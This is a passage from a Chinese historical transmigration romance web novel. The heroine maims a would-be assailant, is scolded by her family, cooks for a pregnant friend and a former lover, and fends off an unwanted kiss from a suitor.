“莫挣扎了!叫本世子宠幸是你的福分,乖乖跟了本世子,荣华富贵都给你!快!宝贝!叫本世子亲香亲香!本世子立刻带你回府!” 男子也不等说完话便又向知微扑了过来。 知微也不在意这人嘴里的污言秽语,微一挑眉,手中撒了些粉末,然后一脚用力踹向男人**,男人没注意,被踢了个正着,啊的一声惨叫着跪在地上。 知微这一脚,用了十成十的力气,这男人,那玩意儿不废怕是之后也难用了。 小厮听见主子大叫的声音急忙跑了进来,却听那男子气急败坏道给我将这个贱人衣裳给我扒了!小爷我今天就要弄死她! 知微在小厮尚未反应过来的时候又一脚踹向了男子。 并嘲笑道,啧啧,你怕是硬不起来了呢! 而后便要专心对付两个小厮。 知微转头便要摸出腰间的匕首,就见外头又进来一人。 巷子昏暗,看不清人脸。 只见那人一脚便踢飞了冲知微扑过来的小厮,三两下的将人手脚给卸了。 转头一把拉了知微便走。 知微被宋言澈拉着,走的飞快。 他一靠近,知微便闻到了他身上淡淡的墨香。 知微倒是有些意外宋言澈的身手,一打二还如此利索,身手矫健。 原身的记忆里,倒是不知宋言澈会武,只是知道他从来都是会帮着家里干活的,并不是死读书那种,所以身体十分硬朗。 宋言澈的脸沉的厉害,他是真的不知知微竟如此大胆,知道那人是谁,竟然还一个人过去!也不怕吃了亏! 终于到了人多的地方。 知微看着他紧紧牵着自己的手,故意停了下来。 宋言澈不明所以的看着她,最后在看到他们紧紧握在一起的手的时候,叹息一声,松开了手。 宋言澈面沉如墨,“你不该将人都支开。” 知微自知理亏,乖乖的点头,并未开口言语。 宋言澈看她的表情就知道她没听进去,他心中气闷,盯着她看了半晌才无奈道了句走吧,我送你回去。 知微老实的走在他身侧,二人并肩走进喧闹的人群,她看着来来往往的结伴而行的男女,眼神有些空洞,不知在想些什么。 宋言澈刚要开口说些,便听到一个略微带了些惊喜的声音传来。 “言澈哥哥!” 知微被这一声给唤回了些许神智,只见一位身着紫裙的妙龄女子朝宋言澈走来,女子同知微差不多大的年纪,面容娇美,举止娴雅。 她同宋言澈问好,刚想开口说些什么,又羞红了脸。 知微冲宋言澈挑眉,哦,出来约会啊!也不早说,早说我不早走了? 知微也不看宋言澈又沉了的脸色,笑道,“我便先回府了,估摸花影该等着急了,宋大人先忙,就别送了。” 说完知微冲女子点点头,便直接走了,宋言澈连片刻解释的机会都没有。 宋言澈叹了口气,垂眸同紫衣女子正色道,“王小姐叫在下宋言澈便好,宋某还有事,便不奉陪了。” 宋言澈说完便顺着知微离开的方向奔去,徒留那王小姐痴痴的看着宋言澈的背影,气恼的跺了跺脚,眼睛红红的,半晌才失魂落魄的离开。 知微耽搁了挺长时间,花影已经很着急了,同找来的护卫正着急的寻找小姐的身影。 花影见小姐终于过来了,狠狠的松了口气,知微带着歉意向花影道,“等着急了吧,那边有个耍猴的,我看的有趣便忘了时间,花影不要生气好不好。” 头顶却传来一声冷哼,“什么样的猴啊,也配你亲自去看?” 知微嘴角抽了抽,这话说的,我不亲自去看,还能你代我看? 知微抬眸瞪了这人一眼,是顾铭珏。 她决定不跟着人一般见识,挑眉道,“你不是,嗯……没给人将尸体送回去?” 顾铭珏嗤笑道,“凭她也配?” 知微无语,臭德行。 不知何时宋言澈已追了上来,看到顾铭珏也在,面无表情道,“侯爷消息挺快。” 顾铭珏看着他冷笑,“还是不及宋大人到的及时啊。” 接着这人话锋一转却对着知微道,“我就不应该将暗卫从你身边撤掉!” 知微撇撇嘴,翻了个白眼,“那是我爹给你施压了吧,要不然你会撤?” 顾铭珏一噎,无奈的看向知微。 知微不想跟二人纠缠,冲他二人假笑道,“我这便回去了,二位慢慢逛。” 说完带着花影便走。 二人哪里给她轻易溜走的机会。 一左一右将人护在中间。 冯三给花影使了个颜色,花影自觉跟小姐拉开距离。 知微见甩不开二人,便由着他们跟自己走在一处。 他们已经离开了闹事区,路上行人不多,多是停靠的车马,马夫三三两两的围在一处聊天,或是在车前打着盹。 沈府的马车,便在最前头,还有些距离。 宋言澈看知微那没心没肺的模样,还是没忍住开口:“你这次着实有些任性,之后切莫在做如此危险的事情。” 知微点头,反省道:“我是有些冲动了,不过我有十足的把握,不会让自己出事的。” 顾铭珏冷飕飕道,“出了事便晚了。” 知微一个眼刀子飞过去,就不能盼我点好! “我这不是给你们帮忙吗,只死一个怎么够,加大点火力才是。” 顾铭珏后知后觉问道,“你将人如何了?” 他只听暗卫说知微将人引到了巷子,宋言澈将人带出,却不知知微到底做了些什么。 知微却笑了,眯着眼睛笑容恶劣道,“那家伙被我给废了,踹他**那一脚我可是用了十足的力气!我还给他下了药,后来又补了一脚,他那玩意肯定是废了!哼,就是大罗金仙来也保准治不好了!” 顾铭珏和宋言澈只觉下身一凉,头一次,二人对视之后没有唇枪舌战,而是默契的看了看自己的下身…… 于是一直到知微上了马车二人都还在静默着,谁也没有出声。 顾铭珏脑门直突突,就不应该叫她跟着念秦去学那些乱七八糟的毒药!好了!胆大妄为不说!还,肆无忌惮毫无顾忌! 宋言澈想的就简单多了,今日有些晚了,明日下朝后的第一件事,他便是要给沈大人告上一状,看还有没有人能治的了她了! 第102章 翌日下了早朝的沈鸿便被宋言澈给拦住了,没说几句话便回了府。顾铭 翌日下了早朝的沈鸿便被宋言澈给拦住了,没说几句话便回了府。 顾铭珏没上朝,被皇帝安排做事去了。 沈大人一张脸黑如锅底,拿着个戒尺直奔知微院子。 高氏忙去拦,心说这老东西今日是疯了不成,拿着戒尺要揍她宝贝闺女! 沈鸿被气的半死,怒气冲冲道:“这丫头如今是无法无天了,你且一边去,别误伤了你。” 知微虽说知道她爹知道昨夜的事后会很生气,但是没想到她爹会这么生气。 她躲到闻讯赶来的沈知蕴身后道,“爹你一点也不关心我,我是将那人废了,你都不问问我为何废他!” 沈鸿气恼,“爹是气你废他吗!就那种东西也配你动手!爹是气你将丫鬟护卫都支开!将自己推向险境!你运气好他就带了两个下人,若是他暗处有护卫呢!你再出事,还叫不叫爹爹活了!” 沈父叫她气胸闷,知微被她爹这一番话说的哑口无言,她当然知道自己做错了,眼圈登时便红了。 高氏和沈知蕴这才知道昨夜里她做了什么,沈知蕴将她从自己身后给揪出来,屋子里的丫鬟婆子早就退下了,只剩她们几人。 沈知蕴闭了闭眼睛,深吸口气,道:“说,你昨夜到底都干了什么?” 知微抿着嘴,知道瞒不过了,便硬着头皮小声道:“是你走后我喝完馄饨,有个男的一直跟着我,我一看那不是郑馨儿她兄长吗,想着他欺男霸女的,便想给他点教训,然后我就支开了花影,将人引到一处巷子,嗯……将人给废了……” 沈知蕴嘴角一抽,废了? 高氏的脑门生疼,你听听,你听听,她闺女都干了什么!说了什么! 知微小心翼翼的撇了眼爹爹和娘亲的表情,点点头,小声道,“嗯,被我给踢废了,我怕废不了,还给他下了药。” 沈知蕴气到了,伸出手指一点一点的指着她的额头道:“还真是给你宠的无法无天了!你当他郑国公府是吃素的!就你那点小聪明,你当人家查不出你的身份呢!” 高氏脸上被她气的直哭,知微一下就慌了,“娘,您怎么还哭了呢,我真没事,我以后不敢了,真的,这次是我莽撞了,我没想那么多,就,嗯……我错了,爹您打我吧。” 知微朝她爹伸出了双手闭着眼睛等着挨打,沈鸿却叹了口气,将手里的戒尺啪的一下往桌子上一放,道:“查倒是暂时查不到你身上,后续的事情,安定侯和言澈已经给扫尾了,你啊你,平时那么精明,怎的干出如此糊涂的事情呢。要不是今早下朝宋言澈堵住我跟我告状,你是不是还打算一直瞒着我们?” 知微将头埋的很低,支支吾吾道:“也不是打算一直瞒着,就,打算今日跟您说来着。” 沈鸿一脸我信你就有鬼了的表情,哼的一声,“你这几日在府上给我反省反省,没我的允许不准出府!” 说完又对着高氏道,“看好她!再惹事就家法伺候!” 然后便上值去了,今早陛下因着四皇子刺死郑馨儿的事情发了大火,他还得去看看火势,帮着再扇扇风,争取叫火燃的更大一些。 别以为他不知道几个小的在搞什么鬼,哼! 知微抿着嘴,小心的看了眼娘亲和姐姐,然后她就又被高氏给揪了耳朵,鸡飞狗跳了半晌之后才消停下来。 待高氏终于捂着胸口走了,沈知蕴点了点知微的额头恨铁不成钢道:“叫你肆意不是叫你任性,这么大的事你也不说,万一你出了事情你还叫爹娘活不活了!” 知微抱着姐姐的胳膊,趴在人家肩头小声撒娇,“对不起嘛,我当时就是,就是想再给郑家添把火,反正京中也没几个人见过我,我就,嗯……是我不对嘛,欠考虑了,姐姐不要生气好不好,好不好嘛~” 沈知蕴无奈叹了口气,她是真的拿小妹没办法,而且她也知道,知微既然敢做,就会有十足的把握。 但是作为家人,她们可不敢赌啊,好不容易找回来的,万一出了事情怎么办? 叫她们怎么能放心呢! “你知道我们有多怕你再出事,好不容易才将你找回来,你且不能再出任何事情了*。” 沈知蕴将知微给扯到自己身前,正色道:“你答应姐姐,以后不准在拿自己涉险,万不能叫自己再陷入危险的境地,一丝一毫也不能,可行? 知微眼眶通红,狠狠的点头,“好,我保证,姐姐,对不起……” 说完便一头扑进了沈知蕴怀里,呜呜的哭了起来。 啊,有家人真好。 啊,姐姐真香。 啊,是我不对,我太任性了,爹娘姐姐对不起以后不会了呜呜…… 因着这事,知微对家人的感情倒更亲近了几分。 知微在府上深刻反省了三日,这三日她给一家人花样做美食,尝试着用辣椒做菜,迅速得到了家人尤其是几个小辈们的认可。 于是,她爹又做了一件叫知微巨生气的事情。 事情是这样的。 不光是宋言澈去给沈鸿告状,顾铭珏也去了,在赴完皇命之后专门去找了沈鸿一趟。 言语间不光对知微的任性表达了不满,还同沈鸿商量暗卫一事,被沈鸿言辞拒绝了。 沈大人表示,他已经给女儿加强了护卫,女侍卫也找了,且不劳侯爷费心了。 于是,二人不欢而散。 到晚些时候宋言澈有事来找沈大人汇报,这一聊就晚了些时辰,沈大人想着小女儿最近在家里折腾的美食,便开口邀请宋言澈一同回府用膳。 那宋言澈还能说不去吗,那必是高兴到无以言表,嘴角的笑容是压都压不住。 晚膳时,众人看到了宋言澈,一个个非常自觉的将知微旁边的座位就给让出来了。 今日非常的巧,沈知晖带着高家两位表兄出去赴宴了。 小辈只有双胞胎和几个女儿家。 知微抿着嘴,咬牙切齿道了声小宋大人好! 妈的狗东西害的我差点挨揍竟还敢来! 宋言澈冲知微笑的开怀,彬彬有礼道,“老师说知微妹妹最近又了许多新奇菜肴,有些辣,叫宋某来尝尝,于是,宋某这便跟着来了。” 知微嗤了一声狗东西,无声说了句你给我等着,便在她爹的注视下老实坐下用膳。 晚膳确实做了几道辣菜,不过都是微辣,瞧着众人都挺喜欢,知微觉得无数的银票在向她招手,她必发财! 宋言澈之前同知微一起是吃过辣的,这次也是没什么不适应的,这人也不客气,一口气吃了三碗饭才停下,给高氏看的眉开眼笑的。 好家伙,从古至今的长辈都还真都是喜欢不挑食吃的多的孩子,高氏也不例外。 待众人放下碗筷,宋言澈看天色也不早了,便提出告辞。 沈父却冷不丁道,“如此,便叫知微送送你吧,知微。” 知微磨磨蹭蹭的起身,瞪了宋言澈一眼后才在亲爹的眼神下不情不愿的道,“是,小宋大人,我送您!” 这个您她说的咬牙切齿的,仿佛恨不得上嘴去咬他了。 宋言澈笑出了声,嗯了一声,“那便有劳知微妹妹了。” 翠儿和高雅晴对视,二人憋笑,一脸八卦,叫妹妹了!好妹妹! 宋言澈又转身朝沈父沈母行了一礼,才跟知微一起走了。 两人并排而行,男才女貌,叫府里的下人看的腹诽,二小姐终于要嫁出去了吗?是这位小宋大人吗?哎呀,果真般配! 在沈父的示意下,月痕将灯笼小心的递到了知微的手里,月痕低着头,嘴角的笑快抑制不住了,知微接了灯笼她便一溜烟的跑了。 知微提着灯笼有些生气,恨不得给扔地上跺两脚。 已经出了主院。 彼时夜黑如墨,星河依旧,秋风萧瑟,已经有些冷意了。 宋言澈不敢笑出声,但是唇角却是一直扬着的,他左手握拳虚咳两声,宠溺的看着气恼的知微。 大手自然的接过她手中的灯笼,道了句,“好了,别气了,走吧。” 知微撇撇嘴,你叫我别气我就别气啊,我偏气! 可是真的好气哦,有种被爹爹硬打包塞给这人的感觉! 不知怎的,今日主院到府门的距离似乎远了许多,知微有些奇怪,怎么下人也少了许多,平日里一路都很亮堂,今日十米之内就他们手里这一盏灯笼,微弱的灯光照亮二人前行的路,竟带了些说不出的暧昧。 看她不说话,宋言澈故意逗她,“别生气了,你以后不胡闹,我便不告状。” 知微:更气了是怎么回事! 她掐着腰,转过身子瞪着宋言澈,凶巴巴道:“你个狗东西!我差点没被我娘给念叨死!我爹还差点打了我!我姐更是点着我脑门教训我,我,我已经三天没出府了!你说说这笔账该怎么算!” 宋言澈也不惧,低头看着她凶巴巴的模样,一阵风吹过,引路的灯笼竟被他扔在了地上,也不怕灯笼起了火。 月光下,知微怒目圆瞪,眸子璀璨如星,小嘴微微撅起,似乎真的很生气,呼吸都有些急促,他们的距离很近,近到他能听到她的呼吸声,她的气息扑面而来,叫他心猿意马,快要控制不住了。 宋言澈垂眸同知微对视,二人越靠越近,待知微反应过来的时候,只看到了眼前的一张俊脸。 这人眸色深深的望着她,眼尾上扬,眸子里全是她的倒影,他竟直接扣上了她纤细的腰肢,直视着她的眼眸,大手带着极致隐忍的颤抖。 宋言澈看着知微,二人的呼吸在这一瞬紧紧的缠绕在一起,他盯着她的眼睛,声音紧的发沉,“沈知微。” 知微眨巴着眼睛,还在想要怎么骂这人,却冷不丁的被叫了全名,她被吓了一跳,嗯了一声。 后知后觉道:“干什么!” 叫全名了不起啊! 喊名字就喊名字,干嘛非得喊全名,她今天又没做错事! 看她这反应,宋言澈却笑开了,眉眼里是极致的缱绻温柔,“你知道吗,我好喜欢现在的你,我。” 知微一下子涨红了脸,妈的又是表白! 你,你什么,她这才察觉到二人暧昧的姿势,他在搂着自己的腰! 感觉不对,知微伸手将人推了推却没推动,宋言澈的声音却在她头上想起,“知微,我要忍不住了。” 知微抬眸便看到了一双满含爱意的眸子,二人呼吸交缠,她甚至能听到对方的心跳,她知道她再不推开,他便要吻上来了! 知微咽了咽口水,垂眸咬了咬唇将人猛的推开,结结巴巴道,“你,你自己回去吧,我先走了!” 说完便头也不回的跑了。 宋言澈摩挲着指尖她腰间遗留的温度,轻轻的放在了唇边,定定的在黑夜中站了半晌,这才笑着转身离开了沈府。 知微直奔自己院子,抚了抚胸口,告诉自己一切都是原身的情感,不是她的。 而后故作淡定的泡了个澡,便歪上了塌,抱着话本子看了起来。 只是越看越心烦意乱,叫花影她们出去,抱着几本话本子上了床。 越看越觉得没意思,便一把用被子将自己蒙住了头,将自己卷成了个麻花烦躁的滚来滚去。 第103章 知微心烦意乱的睡了一觉,第二日顶着两个大大的黑眼圈去爹爹,软磨硬泡 知微心烦意乱的睡了一觉, 第二日顶着两个大大的黑眼圈去爹爹,软磨硬泡之下终于得了沈父的首肯,屁颠屁颠的出去了。 她自然是去干正事的。 辣椒的方子写了许多,去找红叶谈生意。 二人早就开始合作了,且合作的极好,她又懒的动脑筋再去开酒楼了,不若就交给红叶姐去做吧,她手下人口众多,总有合适的。 这时候真的就暴漏了这人的本性,你说她懒吧,她开面馆,开小吃铺,你说她勤快吧,手里有现成的方子她还不想折腾,跟别人分钱她也不想自己动手。 其实她内心也是一直记得红叶姐对自己的好,在这种赚钱的事情上,首先想到的便是她了,也算是红叶帮了她这么久得到了一些回报。 至于怎么分成,红叶自是不会亏待她的。 冯三已经帮着联系了卞城,那边的辣椒也已成熟,已经派人去收了。 一到别苑,知微便又被红叶给训了。 “吆,咱们小知微可是长本事了,单枪匹马的就将人废了,叫姐姐看看,可有受伤啊。” 知微尴尬的咳了两声,老实的低着头听训。 红叶无奈叹了口气,那日她是知道那群人的动作的,故当夜宿在了太后宫里。 可不想她一出来便听珏哥儿说了知微的英勇事迹,这孩子,胆子是真大了。 也不想想这事儿的后果,也幸亏她戴了面纱,不知道那郑国公世子看到知微的真容了没有。 不过在夜间,这几日郑国公在暗地里确实在寻找一女子,她看了画像,确实同知微是不太像的。 想到这她又有些欣慰,这孩子下手够狠够准,实在是个好苗子啊。 她见知微老实挨训,也没说太多,只叫她以后切记不可独自行事,怎么着也得给旁人透个信,万一遇到了危险,那咱们可不得急死啊。 知微抱着红叶的腰,不停的撒娇,知道啦姐姐,人家知道错了嘛,以后再也不敢了,以后我就偷偷下药,不做这么明目张胆的事情了,嘿嘿。 红叶无奈,行吧,这改的可能性几乎为零。 她见今日知微出门的这个阵仗便知道,沈大人也是做了最坏的准备的。 不过郑国公那头已经焦头烂额了,女儿的尸身草草下葬,儿子又废了,正到处找神医呢,倒是分不出什么心思找一个女子,找几日估计这事就过去了。 那郑世子倒是跟个疯狗似的,在府里到处咬人,但他废了,郑国公已经开始重用那个庶长子,那真是狗咬狗闹的不可开交,郑国公已经几日没上朝了,这倒是稀奇的很。 郑馨儿一事的后果,就是皇帝震怒。 皇帝将四皇子骂了个狗血淋头,下令将人给拘在了皇子府,无皇命不得外出。 又安抚了因痛失爱女伤心的不能自已郑国公几句。 反正最后就是郑馨儿死是死了,皇帝不痛不痒的骂了几句儿子,给关在府里关几天,这事就这么过去了。 没办法啊,郑馨儿的话太大逆不道,郑国公虽心疼女儿,但明面上对皇帝的处置是一点不敢有异议。 皇帝早就对郑国公心生不满了,敢说他儿子下贱,一剑捅死已经便宜她了! 皇帝隐忍不发,皇后虽气,但也不敢真的在此时上同皇帝不快。 至于背后郑国公和皇后怎么想的,呵,必是不会放过四皇子的。 郑国公数夜未眠,先是女儿惨死,又是他那个不学无数的儿子被人抬着回了府!身上脸上明显的被人打过,这玩意还不服气,嚷嚷着定要找到那女子千刀万剐呢。 但是叫他形容那女子的长相,他又说没看清,一直说是仙女下凡,漂亮,你叫他怎么能不气呢!书都读到狗肚子里去了,连个女子长什么样都形容不出! 郑国公气急攻心,差点没撅过去,他怎么就生了这么两个玩意呢! 他看着有条不紊吩咐人做事的庶长子,叹了口气,还算是有个中用的。 于是,郑国公府庶长子上位史,悄然拉开了序幕。 之后一连几日知微都窝在府里,不是倒腾新吃食,就是窝在榻上看话本子,惬意的很。 外地的小吃铺子也陆续已经有开业的了,知微将这一些事全权交给了红叶的人,她只负责研究新吃食便好。 后来几日念秦孕吐的反应越来越大,知微知道后闲着没事便往忠勇侯府跑。 一开始的时候,她都是做好了吃食给送去,后来忠勇侯夫人见知微跑的勤,且做的都是吃食,便给小儿媳院子专门开了个小厨房,这下知微有时不在府上做好吃食拿过来了,直接过来做,见有念秦爱吃的,便教给丫鬟婆子们,好叫念秦想吃时,随时都能吃着。 这日她起了个大早,用牛乳做了几样吃食之后便去了忠勇侯府,因着念秦不怎么爱吃牛乳,知微便想着做些奶制品,好给她补充补充营养,后期月份大了,怕她再有缺钙的情况,先提前补着。 她到时念秦刚吐过,脸色有些苍白,知微心疼的厉害。 这才怀孕两月,念秦便因为孕吐也吃不下什么东西瘦了。 得亏知微三天两头的往这跑,念秦这几日吃的东西还多了些。 知微叫念秦先吃着她做的糕点,看小厨房有新鲜的芥菜和青瓜,便准备都给腌上一些,并不费事,但是她腌出来的总比旁人要好吃许多。 待她忙活好一看,念秦姐竟然真的吃下去了她做的牛乳糕,且没带吐的。 大伙儿高兴的很,眼看念秦姐吃了半盘子了,知微赶紧给叫停,去炒了个虾仁,一把小青菜,煎了块里脊,几块腌青瓜,当做念秦的午膳。 虽然还不到用午膳的时候,但是念秦吃了就吐,她也没办法啊。 她眼睛睁的大大的,盯着念秦一口一口的吃着。 终于当念秦吃净了一碗米饭,并且暂时没有想吐的反应之后,众人终于狠狠的松了口气。 知微只觉得自己像是打了个胜仗,从念秦院里出来的时候,昂首挺胸的,一旁忠勇侯夫人派来的婆子更是眉开眼笑的说着感谢的话,知微只点点头,说着为了念秦姐姐,都是应该的之类的话。 近到府门处,知微同嬷嬷客套几句,便要出府,只听见前头大门外传来一阵欢笑声,知微只那么抬头一撇,好家伙,还是熟人。 安定侯府老太太身边的安嬷嬷,而她身边的,知微虽不认识,却也是见过的,京中有名的冰人,只听那冰人道:“哎吆嬷嬷您放心,安定侯府同咱们忠勇侯府原本就是亲家,如今便是亲上加亲了,放心吧,咱们这次的聘礼绝对不会比前一回少了的。” 知微睫毛颤了颤,低垂了眉眼,最终释然一笑,好吧,那家伙又要成亲了。 她转身同嬷嬷告别,那嬷嬷却好似不知知微同安定侯从前的纠葛似的,笑着道叫府上又快又喜事了,改明儿个还得二姑娘来陪着我们二少夫人,以免受了惊扰。 知微听着前头人已上了马车,便戴上了面纱,同这位嬷嬷分别,几步出了忠勇侯府。 一路上知微并未言语,月痕张了张嘴想要说些什么,被花影拉住了,花影摇了摇头,感情一事还是叫姑娘自己想明白比较好。 午膳时间已过,主仆三人尚未用膳,知微叫车夫姨姐去面馆。 只是一上楼,便看到了顾铭珏。 这人一身月白色常服,衣服上绣着青竹,长身玉立,可惜就是这人一身的肃杀之气,这文人的衣裳穿在他身上,倒是有些四不像。 顾铭珏也不知跟谁学的,今日握了把纸扇,见着知微,纸扇刷的一下打开,做了个自认为很帅的动作,知微嘴角抽了抽,问了句这什么天了,您不冷? 顾铭珏一秒破功,有些尴尬道:“咳,不冷。” 知微抿着嘴哦了一声,上下打量这人一眼,心说穿的这么骚包,莫不是刚见了那崔家小姐? 顾铭珏见她打量,心说自己今日的穿着果真是穿对了,纸扇合上,双目囧囧的望着她,有些可怜巴巴的:“本候都好久没吃你做的面了。” 那宋言澈前几日去沈府做客,得到消息的他气的将刚收的孤本给扔了,刚好祖母又差了人叫他,他便又黑着脸去了祖母那。 便听祖母又在给他相看贵女了,这次是忠勇侯府的二房嫡女,老太太这是叫他娶自己前夫人的妹妹呢,他自然是拒绝了。 老太太又被他气的犯了病,一哭二闹三上吊的本事如今是使了全了。 祖母越来越像个孩子了,不达目的誓不罢休,他只好推搡道改日改日,谢老太也未勉强他,算是暂时放过了他。 于是他才有时间根据最近看的追妻秘籍来打扮自己,力求知微能看到他帅气俊朗的面孔。 但是他不知道的是,老太太却是不声不响的差了人去忠勇侯府提亲去了,走时还被知微碰个正着。 知微抿着嘴冲顾铭珏假笑半晌,挑挑眉道:“侯爷莫不是忘了给您的牌子了,您直接递与小二就成,任何面食都免费,吃多少碗都是可以的。” 顾铭珏盯着她,更委屈了,“你知道的,我说的不是那个。” 知微想到今日在忠勇侯府碰到的安嬷嬷和冰人,心里有些闷,但是她又想到在掉下山崖时顾铭珏救她的模样,深吸口气,道:“好,那请侯爷去雅间稍坐,知微便给您再做一碗面吧,当是,最后一碗了。” 最后一碗这几个字,她说的很轻很轻。 知微抬眸正视着他,或许是模样太过认真了,叫顾铭珏自动忽略了最后一碗这几个字,只看到了她认真的脸,和再给他做一碗面。 这一碗面,知微做的很仔细。 她第一次给他做了什么面来着? 哦对,腊肉豆角的臊子面。 知微有些恍惚,她穿过来一年多了吧,去年的那个时候也是桂花飘香,如今还是桂花飘香的时候,只是,她再也不是小妾了,不用再卑微的讨好于人了,真好。 第104章 叫人找了食材过来,知微便动手开始做了。她亲手揉的面,鸡 叫人找了食材过来,知微便动手开始做了。 她亲手揉的面,鸡蛋面粉加少许的盐和温水和面,揉成光滑面团后醒面,便开始做臊子。 腊肉豆角丁,知微切的很用心,很仔细。 她穿过来刚好一年多了。 一年之前她也是做的这个面条给他吃。 知微表情淡淡的,一直没有言语。 他是穿过来遇到的第一个男子,刚见面就有了鱼水之欢,虽说是为了保命,但跟了他半年,自己也是赚到了的。 平心而论,顾铭珏对她真挺好,算是用心了的,吃穿上都是最好的,但是自己也算差点被他害死,虽然他也救过自己,罢了,他也快娶亲了,自己也不会嫁他,就这样吧。 花影和月痕能感受到小姐有些低气压,皆守在一旁打下手,未敢言语。 有现成的肉沫,知微调馅,又捏了几个饺子。 待臊子炒好面条下锅,饺子也煮好了。 知微看着眼前她从前常给男人做的食物,一时间竟有些恍惚。 说没感觉,是假的。 她哪能感受不到他的心意呢,他对自己确实好。 不然也不会奋不顾身的随着自己跳崖。 他得多爱自己啊,才会那么义无反顾的,不要性命。 可是,他爱的不只是自己啊,他还有孩子,还有祖母,还有那一整个的侯府。 她太了解自己了。 若是有一天她真嫁了他,她会忍不住弄死他家老太太的。 她忍够了。 她不要再做卑微的,谨小慎微的叶知微,任谁也不行。 她只能是肆意的,张扬的,最爱自己的,她只能是她自己才行,人都是向前看的对不对,不能好了伤疤忘了疼。 面条捞起,浇上臊子,白胖的饺子相得益彰,加上一碗饺子汤。 知微叫小二给顾铭珏送去。 她多做了些,主仆三人简单吃了几口。 待吃饱喝足,她却轻笑出声,她到底在纠结什么!本就是不合适的两个人! 她不会再谨小慎微,她会快乐,肆意勇敢的活着。 她摇摇头,对花影月痕二人道,“吃饱没?吃饱咱们去书肆,这次得多挑几本话本子才是。” 那边厢顾铭珏大口大口的吃着久违了的味道,却在听到顾严禀告祖母一早差了冰人去忠勇侯府提亲的时候,冷下了脸。 待他一口一口的将碗里的面吃净,汤也喝掉以后,擦了擦嘴角之后才开口问地上的人,“然后呢?” 顾严跪在地上,低着头道,“沈二姑娘,刚好在忠勇侯府,出来时听到了……” 顾铭珏看着盘子里的几个饺子,回想到刚才她的话,所以她才说是,最后一碗吗。 顾铭珏周遭的冷气更甚,“这样的事情,你作为管家竟提前不知吗?” 顾严冷汗涔涔,头趴在地板上颤声道,“奴才真的不知,是,是老祖宗直接吩咐安嬷嬷去的,奴才知道时,已经晚了……” 顾铭珏半晌才嗯了一声,“自去领罚!” 顾严如释重负,嗯了一声,退了出去。 冯三和卫虎对视一眼,俱是叹了口气,这么一搅和,二姑娘和侯爷,怕是真的不成了。 侯爷还有个各方面沈大人都满意的劲敌宋言澈呢,老太太这么一搞,二姑娘心里肯定不舒服。 冯三一撇嘴,换作是他,他也不愿意找个三婚带着孩子还有个事精祖母的老男人啊! 顾铭珏一口一口将饺子吃净,汤也喝掉,他心爱的小姨娘曾说过,原汤化原食。 无事,他再同祖母好好谈,肯定无事的。 主仆三人来到了书肆。 目前京都最大的,内里的书也是五花八门的书肆。 知微带着面纱,也不需要店家的指引,自己轻车熟路的去找话本子。 店家也不觉稀奇,毕竟来买的女子可太多了,他自己也是愿意看的。 花影和月痕也都是识字的,三人分工合作,一人一个书架挑选。 到底是京都,这话本子也都分门别类,整齐的很。 知微最近爱看俏寡妇系列的,就是那种男人死了,寡妇表面勾三搭四不干人事,其实啥也没干但被人传的不像话,最后寡妇深陷困境,但是努力奋斗,最终爱情事业双丰收那种。 当然了,最重要的是,那啥戏多一些就更好了嘿嘿。 她一边翻找一边看,早就将烦心事都抛在了脑后。 只是这边看的专注,丝毫没注意宋言澈的到来。 他抱着膀子靠在书架一侧耳墙上,看着知微的专注的动作出神。 待知微心满意足的翻找了两本同类型的寡妇文抬眸找自己丫鬟的时候,刹那间便对上了宋言澈那双笑意盈盈的眸子。 也不知他来了多久看了她多久了,知微尴尬的抿了抿嘴,咳了一声道,好巧。 宋言澈却嗯了一声道,“不巧,见你从面馆出来,我跟着你来的。” 知微一听白了这人一眼,跟踪狂啊你。 宋言澈也不生气,慢慢的靠近她,一张俊脸上满是揶揄,“风流王爷俏寡妇?大将军夜爬寡妇墙?” 知微被他吓了一跳,赶紧伸手去捂这人的嘴,狗东西你看到就看到了你念出声干什么! 于是,花影和月痕听到动静过来的时候便见自家小姐踮着脚捂着小宋大人的嘴,而小宋大人正搂着自家小姐的腰,二人的动作有说不清的暧昧…… 花影一把捂住了月痕嘴,不叫她喊小姐,然后二人心领神会达成共识,不能叫别人打扰到小姐和宋大人谈情说爱! 于是,二人守在一旁,见有人要过来,便并排着身子给挡了回去。 这边厢知微紧张的捂住宋言澈的嘴,红着脸小声斥责道,你要死啊干嘛念出来! 而宋言澈注意到她踮起的脚,怕她摔倒忙伸手扶住了她的腰,知微的手心正放在他唇上,他笑意更甚,鼻腔的气息喷洒在知微的手上,她呆愣愣的看着宋言澈带着浓浓笑意的眸子,这人眼睛还挺好看的,双眼皮挺厚的,眼睛还挺亮的,咦。 待她反应过来二人姿势的时候,慌乱的想要将手拿开,已经晚了。 宋言澈一只手死死的扣住她的腰,另一只手抓住了她还来不及放下的手纂在自己手心里,而后,在她还反应不及的时候,亲了亲她的手心。 知微被他亲了个正着,她睁大了眼睛去推搡这个胆大包天的男人,宋言澈也叹息一声,意犹未尽的放开了她。 她的眼睛里满是愤怒,小脸也不知是气的还是恼的已然通红,可在宋言澈的眼里,这仿佛便是对他的无声邀请,叫他没忍住又亲了上去,这一次,亲的是嘴唇。 知微呜的一声,不住的捶打他表示抗议,却还是被他亲到了,虽然只是浅浅一吻,但是知微的唇好香好软,宋言澈怕吓到她,虽然意犹未尽,但也只是浅尝辄止,只轻触一下便离开了。 却见知微被他气哭了,眼泪啪嗒啪嗒的,狗东西,连他也强迫她! 小声的哭诉着,都是王八蛋这种话。 宋言澈一下就慌了,他心里慌的厉害,手忙脚乱的帮她擦着眼泪,小声的说,“莫哭莫哭,是哥哥的错,知微莫哭。” 听他叫的知微,知微愣了愣,脑袋里的一些事情渐渐清晰,她脱口而出问道,“你为什么不叫我知知了?” 宋言澈也愣了,却只是那一瞬便反应过来,他指腹轻轻的抚上了她的脸颊帮她擦掉眼泪,他指腹上的一层厚茧叫她如触了电一般,她却没有躲避,执拗的看着他等着答案。 宋言澈望着她,眸子里似有星程大海掺杂着的千言万语,他盯着她,一字一句道,“你是知微,我知道。” 他话刚落,知微只浑身被冻住了,她甚至忘了呼吸,脑袋轰的一下被炸开了花,她的睫毛上还挂着泪珠,随着她的动作一闪一闪的,看向对方的眸子里满是不可思议。 宋言澈却盯着她,“知微,我,可以吗?” 知微低垂了眉眼,她感受着胸腔心脏的跳动,那里跳的很快,带着说不出来的急躁。 她也能感受到对方的心跳,那里跳的也很快,同她的心跳一样,叫她心慌。 她抬眸看了宋言澈一眼,一把将人推开。 “不可以,不可以。” 